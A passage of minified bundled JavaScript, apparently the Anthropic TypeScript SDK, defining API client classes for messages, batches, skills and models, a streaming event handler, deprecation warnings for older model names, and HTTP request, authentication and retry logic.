this.runUntilDone().then(A,K)}};Yd1=async function(K){if(x6(this,kF,"f")!==void 0)return x6(this,kF,"f");return _7(this,kF,y35(x6(this,ZV,"f").params,K),"f"),x6(this,kF,"f")}});var qJA;var wd1=k(()=>{rj();up1();qJA=class qJA{constructor(A,K){this.iterator=A,this.controller=K}async*decoder(){let A=new Ci;for await(let K of this.iterator)for(let q of A.decode(K))yield JSON.parse(q);for(let K of A.flush())yield JSON.parse(K)}[Symbol.asyncIterator](){return this.decoder()}static fromResponse(A,K){if(!A.body){if(K.abort(),typeof globalThis.navigator<"u"&&globalThis.navigator.product==="ReactNative")throw new O7("The default react-native fetch implementation does not support streaming. Please use expo/fetch: https://docs.expo.dev/versions/latest/sdk/expo/#expofetch-api");throw new O7("Attempted to iterate over a response with no body")}return new qJA(eEA(A.body),K)}}});var MkA;var Hd1=k(()=>{yb();UE();wd1();y6A();Li();MkA=class MkA extends qO{create(A,K){let{betas:q,...Y}=A;return this._client.post("/v1/messages/batches?beta=true",{body:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"message-batches-2024-09-24"].toString()},K?.headers])})}retrieve(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/messages/batches/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"message-batches-2024-09-24"].toString()},q?.headers])})}list(A={},K){let{betas:q,...Y}=A??{};return this._client.getAPIList("/v1/messages/batches?beta=true",QR,{query:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"message-batches-2024-09-24"].toString()},K?.headers])})}delete(A,K={},q){let{betas:Y}=K??{};return this._client.delete(ZJ`/v1/messages/batches/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"message-batches-2024-09-24"].toString()},q?.headers])})}cancel(A,K={},q){let{betas:Y}=K??{};return this._client.post(ZJ`/v1/messages/batches/${A}/cancel?beta=true`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"message-batches-2024-09-24"].toString()},q?.headers])})}async results(A,K={},q){let Y=await this.retrieve(A);if(!Y.results_url)throw new O7(`No batch \`results_url\`; Has it finished processing? ${Y.processing_status} - ${Y.id}`);let{betas:z}=K??{};return this._client.get(Y.results_url,{...q,headers:j5([{"anthropic-beta":[...z??[],"message-batches-2024-09-24"].toString(),Accept:"application/binary"},q?.headers]),stream:!0,__binaryResponse:!0})._thenUnwrap((w,H)=>qJA.fromResponse(H.response,H.controller))}}});var Ey8,S6A;var Jd1=k(()=>{rp1();UE();sp1();Ty8();zd1();Hd1();Hd1();zd1();Ey8={"claude-1.3":"November 6th, 2024","claude-1.3-100k":"November 6th, 2024","claude-instant-1.1":"November 6th, 2024","claude-instant-1.1-100k":"November 6th, 2024","claude-instant-1.2":"November 6th, 2024","claude-3-sonnet-20240229":"July 21st, 2025","claude-3-opus-20240229":"January 5th, 2026","claude-2.1":"July 21st, 2025","claude-2.0":"July 21st, 2025","claude-3-7-sonnet-latest":"February 19th, 2026","claude-3-7-sonnet-20250219":"February 19th, 2026"};S6A=class S6A extends qO{constructor(){super(...arguments);this.batches=new MkA(this._client)}create(A,K){let{betas:q,...Y}=A;if(Y.model in Ey8)console.warn(`The model '${Y.model}' is deprecated and will reach end-of-life on ${Ey8[Y.model]} Please migrate to a newer model. Visit https://docs.anthropic.com/en/docs/resources/model-deprecations for more information.`);let z=this._client._options.timeout;if(!Y.stream&&z==null){let w=TA1[Y.model]??void 0;z=this._client.calculateNonstreamingTimeout(Y.max_tokens,w)}return this._client.post("/v1/messages?beta=true",{body:Y,timeout:z??600000,...K,headers:j5([{...q?.toString()!=null?{"anthropic-beta":q?.toString()}:void 0},K?.headers]),stream:A.stream??!1})}parse(A,K){return K={...K,headers:j5([{"anthropic-beta":[...A.betas??[],"structured-outputs-2025-09-17"].toString()},K?.headers])},this.create(A,K).then((q)=>ap1(q,A))}stream(A,K){return ZkA.createMessage(this,A,K)}countTokens(A,K){let{betas:q,...Y}=A;return this._client.post("/v1/messages/count_tokens?beta=true",{body:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"token-counting-2024-11-01"].toString()},K?.headers])})}toolRunner(A,K){return new jkA(this._client,A,K)}};S6A.Batches=MkA;S6A.BetaToolRunner=jkA});var PkA;var Od1=k(()=>{yb();UE();sHA();Li();PkA=class PkA extends qO{create(A,K={},q){let{betas:Y,...z}=K??{};return this._client.post(ZJ`/v1/skills/${A}/versions?beta=true`,aHA({body:z,...q,headers:j5([{"anthropic-beta":[...Y??[],"skills-2025-10-02"].toString()},q?.headers])},this._client))}retrieve(A,K,q){let{skill_id:Y,betas:z}=K;return this._client.get(ZJ`/v1/skills/${Y}/versions/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...z??[],"skills-2025-10-02"].toString()},q?.headers])})}list(A,K={},q){let{betas:Y,...z}=K??{};return this._client.getAPIList(ZJ`/v1/skills/${A}/versions?beta=true`,zkA,{query:z,...q,headers:j5([{"anthropic-beta":[...Y??[],"skills-2025-10-02"].toString()},q?.headers])})}delete(A,K,q){let{skill_id:Y,betas:z}=K;return this._client.delete(ZJ`/v1/skills/${Y}/versions/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...z??[],"skills-2025-10-02"].toString()},q?.headers])})}}});var YJA;var Xd1=k(()=>{Od1();Od1();yb();UE();sHA();Li();YJA=class YJA extends qO{constructor(){super(...arguments);this.versions=new PkA(this._client)}create(A={},K){let{betas:q,...Y}=A??{};return this._client.post("/v1/skills?beta=true",aHA({body:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"skills-2025-10-02"].toString()},K?.headers])},this._client))}retrieve(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/skills/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"skills-2025-10-02"].toString()},q?.headers])})}list(A={},K){let{betas:q,...Y}=A??{};return this._client.getAPIList("/v1/skills?beta=true",zkA,{query:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"skills-2025-10-02"].toString()},K?.headers])})}delete(A,K={},q){let{betas:Y}=K??{};return this._client.delete(ZJ`/v1/skills/${A}?beta=true`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"skills-2025-10-02"].toString()},q?.headers])})}};YJA.Versions=PkA});var $D;var $d1=k(()=>{ip1();ip1();np1();np1();Jd1();Jd1();Xd1();Xd1();$D=class $D extends qO{constructor(){super(...arguments);this.models=new JkA(this._client),this.messages=new S6A(this._client),this.files=new HkA(this._client),this.skills=new YJA(this._client)}};$D.Models=JkA;$D.Messages=S6A;$D.Files=HkA;$D.Skills=YJA});var Ii;var _d1=k(()=>{UE();Ii=class Ii extends qO{create(A,K){let{betas:q,...Y}=A;return this._client.post("/v1/complete",{body:Y,timeout:this._client._options.timeout??600000,...K,headers:j5([{...q?.toString()!=null?{"anthropic-beta":q?.toString()}:void 0},K?.headers]),stream:A.stream??!1})}}});function Ry8(A){return A.type==="tool_use"||A.type==="server_tool_use"}function yy8(A){}var dE,Si,VkA,bA1,fkA,NkA,xA1,TkA,CF,vkA,uA1,BA1,zJA,mA1,gA1,Gd1,ky8,Zd1,Wd1,Dd1,jd1,Cy8,Ly8="__json_buf",EkA;var Iy8=k(()=>{NF();y6A();EA1();tp1();EkA=class EkA{constructor(){dE.add(this),this.messages=[],this.receivedMessages=[],Si.set(this,void 0),this.controller=new AbortController,VkA.set(this,void 0),bA1.set(this,()=>{}),fkA.set(this,()=>{}),NkA.set(this,void 0),xA1.set(this,()=>{}),TkA.set(this,()=>{}),CF.set(this,{}),vkA.set(this,!1),uA1.set(this,!1),BA1.set(this,!1),zJA.set(this,!1),mA1.set(this,void 0),gA1.set(this,void 0),Zd1.set(this,(A)=>{if(_7(this,uA1,!0,"f"),TF(A))A=new h2;if(A instanceof h2)return _7(this,BA1,!0,"f"),this._emit("abort",A);if(A instanceof O7)return this._emit("error",A);if(A instanceof Error){let K=new O7(A.message);return K.cause=A,this._emit("error",K)}return this._emit("error",new O7(String(A)))}),_7(this,VkA,new Promise((A,K)=>{_7(this,bA1,A,"f"),_7(this,fkA,K,"f")}),"f"),_7(this,NkA,new Promise((A,K)=>{_7(this,xA1,A,"f"),_7(this,TkA,K,"f")}),"f"),x6(this,VkA,"f").catch(()=>{}),x6(this,NkA,"f").catch(()=>{})}get response(){return x6(this,mA1,"f")}get request_id(){return x6(this,gA1,"f")}async withResponse(){let A=await x6(this,VkA,"f");if(!A)throw Error("Could not resolve a `Response` object");return{data:this,response:A,request_id:A.headers.get("request-id")}}static fromReadableStream(A){let K=new EkA;return K._run(()=>K._fromReadableStream(A)),K}static createMessage(A,K,q){let Y=new EkA;for(let z of K.messages)Y._addMessageParam(z);return Y._run(()=>Y._createMessage(A,{...K,stream:!0},{...q,headers:{...q?.headers,"X-Stainless-Helper-Method":"stream"}})),Y}_run(A){A().then(()=>{this._emitFinal(),this._emit("end")},x6(this,Zd1,"f"))}_addMessageParam(A){this.messages.push(A)}_addMessage(A,K=!0){if(this.receivedMessages.push(A),K)this._emit("message",A)}async _createMessage(A,K,q){let Y=q?.signal,z;if(Y){if(Y.aborted)this.controller.abort();z=this.controller.abort.bind(this.controller),Y.addEventListener("abort",z)}try{x6(this,dE,"m",Wd1).call(this);let{response:w,data:H}=await A.create({...K,stream:!0},{...q,signal:this.controller.signal}).withResponse();this._connected(w);for await(let J of H)x6(this,dE,"m",Dd1).call(this,J);if(H.controller.signal?.aborted)throw new h2;x6(this,dE,"m",jd1).call(this)}finally{if(Y&&z)Y.removeEventListener("abort",z)}}_connected(A){if(this.ended)return;_7(this,mA1,A,"f"),_7(this,gA1,A?.headers.get("request-id"),"f"),x6(this,bA1,"f").call(this,A),this._emit("connect")}get ended(){return x6(this,vkA,"f")}get errored(){return x6(this,uA1,"f")}get aborted(){return x6(this,BA1,"f")}abort(){this.controller.abort()}on(A,K){return(x6(this,CF,"f")[A]||(x6(this,CF,"f")[A]=[])).push({listener:K}),this}off(A,K){let q=x6(this,CF,"f")[A];if(!q)return this;let Y=q.findIndex((z)=>z.listener===K);if(Y>=0)q.splice(Y,1);return this}once(A,K){return(x6(this,CF,"f")[A]||(x6(this,CF,"f")[A]=[])).push({listener:K,once:!0}),this}emitted(A){return new Promise((K,q)=>{if(_7(this,zJA,!0,"f"),A!=="error")this.once("error",q);this.once(A,K)})}async done(){_7(this,zJA,!0,"f"),await x6(this,NkA,"f")}get currentMessage(){return x6(this,Si,"f")}async finalMessage(){return await this.done(),x6(this,dE,"m",Gd1).call(this)}async finalText(){return await this.done(),x6(this,dE,"m",ky8).call(this)}_emit(A,...K){if(x6(this,vkA,"f"))return;if(A==="end")_7(this,vkA,!0,"f"),x6(this,xA1,"f").call(this);let q=x6(this,CF,"f")[A];if(q)x6(this,CF,"f")[A]=q.filter((Y)=>!Y.once),q.forEach(({listener:Y})=>Y(...K));if(A==="abort"){let Y=K[0];if(!x6(this,zJA,"f")&&!q?.length)Promise.reject(Y);x6(this,fkA,"f").call(this,Y),x6(this,TkA,"f").call(this,Y),this._emit("end");return}if(A==="error"){let Y=K[0];if(!x6(this,zJA,"f")&&!q?.length)Promise.reject(Y);x6(this,fkA,"f").call(this,Y),x6(this,TkA,"f").call(this,Y),this._emit("end")}}_emitFinal(){if(this.receivedMessages.at(-1))this._emit("finalMessage",x6(this,dE,"m",Gd1).call(this))}async _fromReadableStream(A,K){let q=K?.signal,Y;if(q){if(q.aborted)this.controller.abort();Y=this.controller.abort.bind(this.controller),q.addEventListener("abort",Y)}try{x6(this,dE,"m",Wd1).call(this),this._connected(null);let z=oj.fromReadableStream(A,this.controller);for await(let w of z)x6(this,dE,"m",Dd1).call(this,w);if(z.controller.signal?.aborted)throw new h2;x6(this,dE,"m",jd1).call(this)}finally{if(q&&Y)q.removeEventListener("abort",Y)}}[(Si=new WeakMap,VkA=new WeakMap,bA1=new WeakMap,fkA=new WeakMap,NkA=new WeakMap,xA1=new WeakMap,TkA=new WeakMap,CF=new WeakMap,vkA=new WeakMap,uA1=new WeakMap,BA1=new WeakMap,zJA=new WeakMap,mA1=new WeakMap,gA1=new WeakMap,Zd1=new WeakMap,dE=new WeakSet,Gd1=function(){if(this.receivedMessages.length===0)throw new O7("stream ended without producing a Message with role=assistant");return this.receivedMessages.at(-1)},ky8=function(){if(this.receivedMessages.length===0)throw new O7("stream ended without producing a Message with role=assistant");let K=this.receivedMessages.at(-1).content.filter((q)=>q.type==="text").map((q)=>q.text);if(K.length===0)throw new O7("stream ended without producing a content block with type=text");return K.join(" ")},Wd1=function(){if(this.ended)return;_7(this,Si,void 0,"f")},Dd1=function(K){if(this.ended)return;let q=x6(this,dE,"m",Cy8).call(this,K);switch(this._emit("streamEvent",K,q),K.type){case"content_block_delta":{let Y=q.content.at(-1);switch(K.delta.type){case"text_delta":{if(Y.type==="text")this._emit("text",K.delta.text,Y.text||"");break}case"citations_delta":{if(Y.type==="text")this._emit("citation",K.delta.citation,Y.citations??[]);break}case"input_json_delta":{if(Ry8(Y)&&Y.input)this._emit("inputJson",K.delta.partial_json,Y.input);break}case"thinking_delta":{if(Y.type==="thinking")this._emit("thinking",K.delta.thinking,Y.thinking);break}case"signature_delta":{if(Y.type==="thinking")this._emit("signature",Y.signature);break}default:yy8(K.delta)}break}case"message_stop":{this._addMessageParam(q),this._addMessage(q,!0);break}case"content_block_stop":{this._emit("contentBlock",q.content.at(-1));break}case"message_start":{_7(this,Si,q,"f");break}case"content_block_start":case"message_delta":break}},jd1=function(){if(this.ended)throw new O7("stream has ended, this shouldn't happen");let K=x6(this,Si,"f");if(!K)throw new O7("request ended without sending any chunks");return _7(this,Si,void 0,"f"),K},Cy8=function(K){let q=x6(this,Si,"f");if(K.type==="message_start"){if(q)throw new O7(`Unexpected event order, got ${K.type} before receiving "message_stop"`);return K.message}if(!q)throw new O7(`Unexpected event order, got ${K.type} before "message_start"`);switch(K.type){case"message_stop":return q;case"message_delta":if(q.stop_reason=K.delta.stop_reason,q.stop_sequence=K.delta.stop_sequence,q.usage.output_tokens=K.usage.output_tokens,K.usage.input_tokens!=null)q.usage.input_tokens=K.usage.input_tokens;if(K.usage.cache_creation_input_tokens!=null)q.usage.cache_creation_input_tokens=K.usage.cache_creation_input_tokens;if(K.usage.cache_read_input_tokens!=null)q.usage.cache_read_input_tokens=K.usage.cache_read_input_tokens;if(K.usage.server_tool_use!=null)q.usage.server_tool_use=K.usage.server_tool_use;return q;case"content_block_start":return q.content.push({...K.content_block}),q;case"content_block_delta":{let Y=q.content.at(K.index);switch(K.delta.type){case"text_delta":{if(Y?.type==="text")q.content[K.index]={...Y,text:(Y.text||"")+K.delta.text};break}case"citations_delta":{if(Y?.type==="text")q.content[K.index]={...Y,citations:[...Y.citations??[],K.delta.citation]};break}case"input_json_delta":{if(Y&&Ry8(Y)){let z=Y[Ly8]||"";z+=K.delta.partial_json;let w={...Y};if(Object.defineProperty(w,Ly8,{value:z,enumerable:!1,writable:!0}),z)w.input=vA1(z);q.content[K.index]=w}break}case"thinking_delta":{if(Y?.type==="thinking")q.content[K.index]={...Y,thinking:Y.thinking+K.delta.thinking};break}case"signature_delta":{if(Y?.type==="thinking")q.content[K.index]={...Y,signature:K.delta.signature};break}default:yy8(K.delta)}return q}case"content_block_stop":return q}},Symbol.asyncIterator)](){let A=[],K=[],q=!1;return this.on("streamEvent",(Y)=>{let z=K.shift();if(z)z.resolve(Y);else A.push(Y)}),this.on("end",()=>{q=!0;for(let Y of K)Y.resolve(void 0);K.length=0}),this.on("abort",(Y)=>{q=!0;for(let z of K)z.reject(Y);K.length=0}),this.on("error",(Y)=>{q=!0;for(let z of K)z.reject(Y);K.length=0}),{next:async()=>{if(!A.length){if(q)return{value:void 0,done:!0};return new Promise((z,w)=>K.push({resolve:z,reject:w})).then((z)=>z?{value:z,done:!1}:{value:void 0,done:!0})}return{value:A.shift(),done:!1}},return:async()=>{return this.abort(),{value:void 0,done:!0}}}}toReadableStream(){return new oj(this[Symbol.asyncIterator].bind(this),this.controller).toReadableStream()}}});var kkA;var Md1=k(()=>{yb();UE();wd1();y6A();Li();kkA=class kkA extends qO{create(A,K){return this._client.post("/v1/messages/batches",{body:A,...K})}retrieve(A,K){return this._client.get(ZJ`/v1/messages/batches/${A}`,K)}list(A={},K){return this._client.getAPIList("/v1/messages/batches",QR,{query:A,...K})}delete(A,K){return this._client.delete(ZJ`/v1/messages/batches/${A}`,K)}cancel(A,K){return this._client.post(ZJ`/v1/messages/batches/${A}/cancel`,K)}async results(A,K){let q=await this.retrieve(A);if(!q.results_url)throw new O7(`No batch \`results_url\`; Has it finished processing? ${q.processing_status} - ${q.id}`);return this._client.get(q.results_url,{...K,headers:j5([{Accept:"application/binary"},K?.headers]),stream:!0,__binaryResponse:!0})._thenUnwrap((Y,z)=>qJA.fromResponse(z.response,z.controller))}}});var aN,Sy8;var Pd1=k(()=>{Iy8();Md1();Md1();rp1();aN=class aN extends qO{constructor(){super(...arguments);this.batches=new kkA(this._client)}create(A,K){if(A.model in Sy8)console.warn(`The model '${A.model}' is deprecated and will reach end-of-life on ${Sy8[A.model]} Please migrate to a newer model. Visit https://docs.anthropic.com/en/docs/resources/model-deprecations for more information.`);let q=this._client._options.timeout;if(!A.stream&&q==null){let Y=TA1[A.model]??void 0;q=this._client.calculateNonstreamingTimeout(A.max_tokens,Y)}return this._client.post("/v1/messages",{body:A,timeout:q??600000,...K,stream:A.stream??!1})}stream(A,K){return EkA.createMessage(this,A,K)}countTokens(A,K){return this._client.post("/v1/messages/count_tokens",{body:A,...K})}};Sy8={"claude-1.3":"November 6th, 2024","claude-1.3-100k":"November 6th, 2024","claude-instant-1.1":"November 6th, 2024","claude-instant-1.1-100k":"November 6th, 2024","claude-instant-1.2":"November 6th, 2024","claude-3-sonnet-20240229":"July 21st, 2025","claude-3-opus-20240229":"January 5th, 2026","claude-2.1":"July 21st, 2025","claude-2.0":"July 21st, 2025","claude-3-7-sonnet-latest":"February 19th, 2026","claude-3-7-sonnet-20250219":"February 19th, 2026"};aN.Batches=kkA});var wJA;var Vd1=k(()=>{yb();UE();Li();wJA=class wJA extends qO{retrieve(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/models/${A}`,{...q,headers:j5([{...Y?.toString()!=null?{"anthropic-beta":Y?.toString()}:void 0},q?.headers])})}list(A={},K){let{betas:q,...Y}=A??{};return this._client.getAPIList("/v1/models",QR,{query:Y,...K,headers:j5([{...q?.toString()!=null?{"anthropic-beta":q?.toString()}:void 0},K?.headers])})}}});var CkA=k(()=>{$d1();_d1();Pd1();Vd1();Zy8()});var LkA=(A)=>{if(typeof globalThis.process<"u")return globalThis.process.env?.[A]?.trim()??void 0;if(typeof globalThis.Deno<"u")return globalThis.Deno.env?.get?.(A)?.trim();return};class $z{constructor({baseURL:A=LkA("ANTHROPIC_BASE_URL"),apiKey:K=LkA("ANTHROPIC_API_KEY")??null,authToken:q=LkA("ANTHROPIC_AUTH_TOKEN")??null,...Y}={}){fd1.add(this),QA1.set(this,void 0);let z={apiKey:K,authToken:q,...Y,baseURL:A||"https://api.anthropic.com"};if(!z.dangerouslyAllowBrowser&&eR8())throw new O7(`It looks like you're running in a browser-like environment. This is disabled by default, as it risks exposing your secret API credentials to attackers. If you understand the risks and have appropriate mitigations in place, you can set the \`dangerouslyAllowBrowser\` option to \`true\`, e.g., new Anthropic({ apiKey, dangerouslyAllowBrowser: true }); `);this.baseURL=z.baseURL,this.timeout=z.timeout??Nd1.DEFAULT_TIMEOUT,this.logger=z.logger??console;let w="warn";this.logLevel=w,this.logLevel=Bp1(z.logLevel,"ClientOptions.logLevel",this)??Bp1(LkA("ANTHROPIC_LOG"),"process.env['ANTHROPIC_LOG']",this)??w,this.fetchOptions=z.fetchOptions,this.maxRetries=z.maxRetries??2,this.fetch=z.fetch??Ky8(),_7(this,QA1,Yy8,"f"),this._options=z,this.apiKey=typeof K==="string"?K:null,this.authToken=q}withOptions(A){return new this.constructor({...this._options,baseURL:this.baseURL,maxRetries:this.maxRetries,timeout:this.timeout,logger:this.logger,logLevel:this.logLevel,fetch:this.fetch,fetchOptions:this.fetchOptions,apiKey:this.apiKey,authToken:this.authToken,...A})}defaultQuery(){return this._options.defaultQuery}validateHeaders({values:A,nulls:K}){if(A.get("x-api-key")||A.get("authorization"))return;if(this.apiKey&&A.get("x-api-key"))return;if(K.has("x-api-key"))return;if(this.authToken&&A.get("authorization"))return;if(K.has("authorization"))return;throw Error('Could not resolve authentication method. Expected either apiKey or authToken to be set. Or for one of the "X-Api-Key" or "Authorization" headers to be explicitly omitted')}async authHeaders(A){return j5([await this.apiKeyAuth(A),await this.bearerAuth(A)])}async apiKeyAuth(A){if(this.apiKey==null)return;return j5([{"X-Api-Key":this.apiKey}])}async bearerAuth(A){if(this.authToken==null)return;return j5([{Authorization:`Bearer ${this.authToken}`}])}stringifyQuery(A){return Object.entries(A).filter(([K,q])=>typeof q<"u").map(([K,q])=>{if(typeof q==="string"||typeof q==="number"||typeof q==="boolean")return`${encodeURIComponent(K)}=${encodeURIComponent(q)}`;if(q===null)return`${encodeURIComponent(K)}=`;throw new O7(`Cannot stringify type ${typeof q}; Expected string, number, boolean, or null. If you need to pass nested query parameters, you can manually encode them, e.g. { query: { 'foo[key1]': value1, 'foo[key2]': value2 } }, and please open a GitHub issue requesting better support for your use case.`)}).join("&")}getUserAgent(){return`${this.constructor.name}/JS ${ki}`}defaultIdempotencyKey(){return`stainless-node-retry-${yp1()}`}makeStatusError(A,K,q,Y){return r7.generate(A,K,q,Y)}buildURL(A,K,q){let Y=!x6(this,fd1,"m",hy8).call(this)&&q||this.baseURL,z=lR8(A)?new URL(A):new URL(Y+(Y.endsWith("/")&&A.startsWith("/")?A.slice(1):A)),w=this.defaultQuery();if(!iR8(w))K={...w,...K};if(typeof K==="object"&&K&&!Array.isArray(K))z.search=this.stringifyQuery(K);return z.toString()}_calculateNonstreamingTimeout(A){if(3600*A/128000>600)throw new O7("Streaming is required for operations that may take longer than 10 minutes. See https://github.com/anthropics/anthropic-sdk-typescript#streaming-responses for more details");return 600000}async prepareOptions(A){}async prepareRequest(A,{url:K,options:q}){}get(A,K){return this.methodRequest("get",A,K)}post(A,K){return this.methodRequest("post",A,K)}patch(A,K){return this.methodRequest("patch",A,K)}put(A,K){return this.methodRequest("put",A,K)}delete(A,K){return this.methodRequest("delete",A,K)}methodRequest(A,K,q){return this.request(Promise.resolve(q).then((Y)=>{return{method:A,path:K,...Y}}))}request(A,K=null){return new L6A(this,this.makeRequest(A,K,void 0))}async makeRequest(A,K,q){let Y=await A,z=Y.maxRetries??this.maxRetries;if(K==null)K=z;await this.prepareOptions(Y);let{req:w,url:H,timeout:J}=await this.buildRequest(Y,{retryCount:z-K});await this.prepareRequest(w,{url:H,options:Y});let O="log_"+(Math.random()*16777216|0).toString(16).padStart(6,"0"),X=q===void 0?"":`, retryOf: ${q}`,$=Date.now();if(r_(this).debug(`[${O}] sending request`,vF({retryOfRequestLogID:q,method:Y.method,url:H,options:Y,headers:w.headers})),Y.signal?.aborted)throw new h2;let _=new AbortController,G=await this.fetchWithTimeout(H,w,J,_).catch(iEA),Z=Date.now();if(G instanceof globalThis.Error){let j=`retrying, ${K} attempts remaining`;if(Y.signal?.aborted)throw new h2;let M=TF(G)||/timed? ?out/i.test(String(G)+("cause"in G?String(G.cause):""));if(K)return r_(this).info(`[${O}] connection ${M?"timed out":"failed"} - ${j}`),r_(this).debug(`[${O}] connection ${M?"timed out":"failed"} (${j})`,vF({retryOfRequestLogID:q,url:H,durationMs:Z-$,message:G.message})),this.retryRequest(Y,K,q??O);if(r_(this).info(`[${O}] connection ${M?"timed out":"failed"} - error; no more retries left`),r_(this).debug(`[${O}] connection ${M?"timed out":"failed"} (error; no more retries left)`,vF({retryOfRequestLogID:q,url:H,durationMs:Z-$,message:G.message})),M)throw new Rb;throw new nj({cause:G})}let W=[...G.headers.entries()].filter(([j])=>j==="request-id").map(([j,M])=>", "+j+": "+JSON.stringify(M)).join(""),D=`[${O}${X}${W}] ${w.method} ${H} ${G.ok?"succeeded":"failed"} with status ${G.status} in ${Z-$}ms`;if(!G.ok){let j=await this.shouldRetry(G);if(K&&j){let C=`retrying, ${K} attempts remaining`;return await qy8(G.body),r_(this).info(`${D} - ${C}`),r_(this).debug(`[${O}] response error (${C})`,vF({retryOfRequestLogID:q,url:G.url,status:G.status,headers:G.headers,durationMs:Z-$})),this.retryRequest(Y,K,q??O,G.headers)}let M=j?"error; no more retries left":"error; not retryable";r_(this).info(`${D} - ${M}`);let P=await G.text().catch((C)=>iEA(C).message),f=GA1(P),N=f?void 0:P;throw r_(this).debug(`[${O}] response error (${M})`,vF({retryOfRequestLogID:q,url:G.url,status:G.status,headers:G.headers,message:N,durationMs:Date.now()-$})),this.makeStatusError(G.status,f,N,G.headers)}return r_(this).info(D),r_(this).debug(`[${O}] response start`,vF({retryOfRequestLogID:q,url:G.url,status:G.status,headers:G.headers,durationMs:Z-$})),{response:G,options:Y,controller:_,requestLogID:O,retryOfRequestLogID:q,startTime:$}}getAPIList(A,K,q){return this.requestAPIList(K,{method:"get",path:A,...q})}requestAPIList(A,K){let q=this.makeRequest(K,null,void 0);return new fA1(this,q,A)}async fetchWithTimeout(A,K,q,Y){let{signal:z,method:w,...H}=K||{};if(z)z.addEventListener("abort",()=>Y.abort());let J=setTimeout(()=>Y.abort(),q),O=globalThis.ReadableStream&&H.body instanceof globalThis.ReadableStream||typeof H.body==="object"&&H.body!==null&&Symbol.asyncIterator in H.body,X={signal:Y.signal,...O?{duplex:"half"}:{},method:"GET",...H};if(w)X.method=w.toUpperCase();try{return await this.fetch.call(void 0,A,X)}finally{clearTimeout(J)}}async shouldRetry(A){let K=A.headers.get("x-should-retry");if(K==="true")return!0;if(K==="false")return!1;if(A.status===408)return!0;if(A.status===409)return!0;if(A.status===429)return!0;if(A.status>=500)return!0;return!1}async retryRequest(A,K,q,Y){let z,w=Y?.get("retry-after-ms");if(w){let J=parseFloat(w);if(!Number.isNaN(J))z=J}let H=Y?.get("retry-after");if(H&&!z){let J=parseFloat(H);if(!Number.isNaN(J))z=J*1000;else z=Date.parse(H)-Date.now()}if(!(z&&0<=z&&z<60000)){let J=A.maxRetries??this.maxRetries;z=this.calculateDefaultRetryTimeoutMillis(K,J)}return await oR8(z),this.makeRequest(A,K-1,q)}calculateDefaultRetryTimeoutMillis(A,K){let z=K-A,w=Math.min(0.5*Math.pow(2,z),8),H=1-Math.random()*0.25;return w*H*1000}calculateNonstreamingTimeout(A,K){if(3600000*A/128000>600000||K!=null&&A>K)throw new O7("Streaming is required for operations that may take longer than 10 minutes. See https://github.com/anthropics/anthropic-sdk-typescript#long-requests for more details");return 600000}async buildRequest(A,{retryCount:K=0}={}){let q={...A},{method:Y,path:z,query:w,defaultBaseURL:H}=q,J=this.buildURL(z,w,H);if("timeout"in q)rR8("timeout",q.timeout);q.timeout=q.timeout??this.timeout;let{bodyHeaders:O,body:X}=this.buildBody({options:q}),$=await this.buildHeaders({options:A,method:Y,bodyHeaders:O,retryCount:K});return{req:{method:Y,headers:$,...q.signal&&{signal:q.signal},...globalThis.ReadableStream&&X instanceof globalThis.ReadableStream&&{duplex:"half"},...X&&{body:X},...this.fetchOptions??{},...q.fetchOptions??{}},url:J,timeout:q.timeout}}async buildHeaders({options:A,method:K,bodyHeaders:q,retryCount:Y}){let z={};if(this.idempotencyHeader&&K!=="get"){if(!A.idempotencyKey)A.idempotencyKey=this.defaultIdempotencyKey();z[this.idempotencyHeader]=A.idempotencyKey}let w=j5([z,{Accept:"application/json","User-Agent":this.getUserAgent(),"X-Stainless-Retry-Count":String(Y),...A.timeout?{"X-Stainless-Timeout":String(Math.trunc(A.timeout/1000))}:{},...Ay8(),...this._options.dangerouslyAllowBrowser?{"anthropic-dangerous-direct-browser-access":"true"}:void 0,"anthropic-version":"2023-06-01"},await this.authHeaders(A),this._options.defaultHeaders,q,A.headers]);return this.validateHeaders(w),w.values}buildBody({options:{body:A,headers:K}}){if(!A)return{bodyHeaders:void 0,body:void 0};let q=j5([K]);if(ArrayBuffer.isView(A)||A instanceof ArrayBuffer||A instanceof DataView||typeof A==="string"&&q.values.has("content-type")||globalThis.Blob&&A instanceof globalThis.Blob||A instanceof FormData||A instanceof URLSearchParams||globalThis.ReadableStream&&A instanceof globalThis.ReadableStream)return{bodyHeaders:void 0,body:A};else if(typeof A==="object"&&((Symbol.asyncIterator in A)||(Symbol.iterator in A)&&("next"in A)&&typeof A.next==="function"))return{bodyHeaders:void 0,body:ZA1(A)};else return x6(this,QA1,"f").call(this,{body:A,headers:q})}}var fd1,Nd1,QA1,hy8,by8="\\n\\nHuman:",xy8="\\n\\nAssistant:",pR;var LF=k(()=>{NF();C6A();hp1();rj();yb();lp1();CkA();PA1();_d1();Vd1();$d1();Pd1();hp1();UE();jA1();C6A();Nd1=$z,QA1=new WeakMap,fd1=new WeakSet,hy8=function(){return this.baseURL!=="https://api.anthropic.com"};$z.Anthropic=Nd1;$z.HUMAN_PROMPT=by8;$z.AI_PROMPT=xy8;$z.DEFAULT_TIMEOUT=600000;$z.AnthropicError=O7;$z.APIError=r7;$z.APIConnectionError=nj;$z.APIConnectionTimeoutError=Rb;$z.APIUserAbortError=h2;$z.NotFoundError=k6A;$z.ConflictError=oEA;$z.RateLimitError=sEA;$z.BadRequestError=nEA;$z.AuthenticationError=E6A;$z.InternalServerError=tEA;$z.PermissionDeniedError=rEA;$z.UnprocessableEntityError=aEA;$z.toFile=NA1;pR=class pR extends $z{constructor(){super(...arguments);this.completions=new Ii(this),this.messages=new aN(this),this.models=new wJA(this),this.beta=new 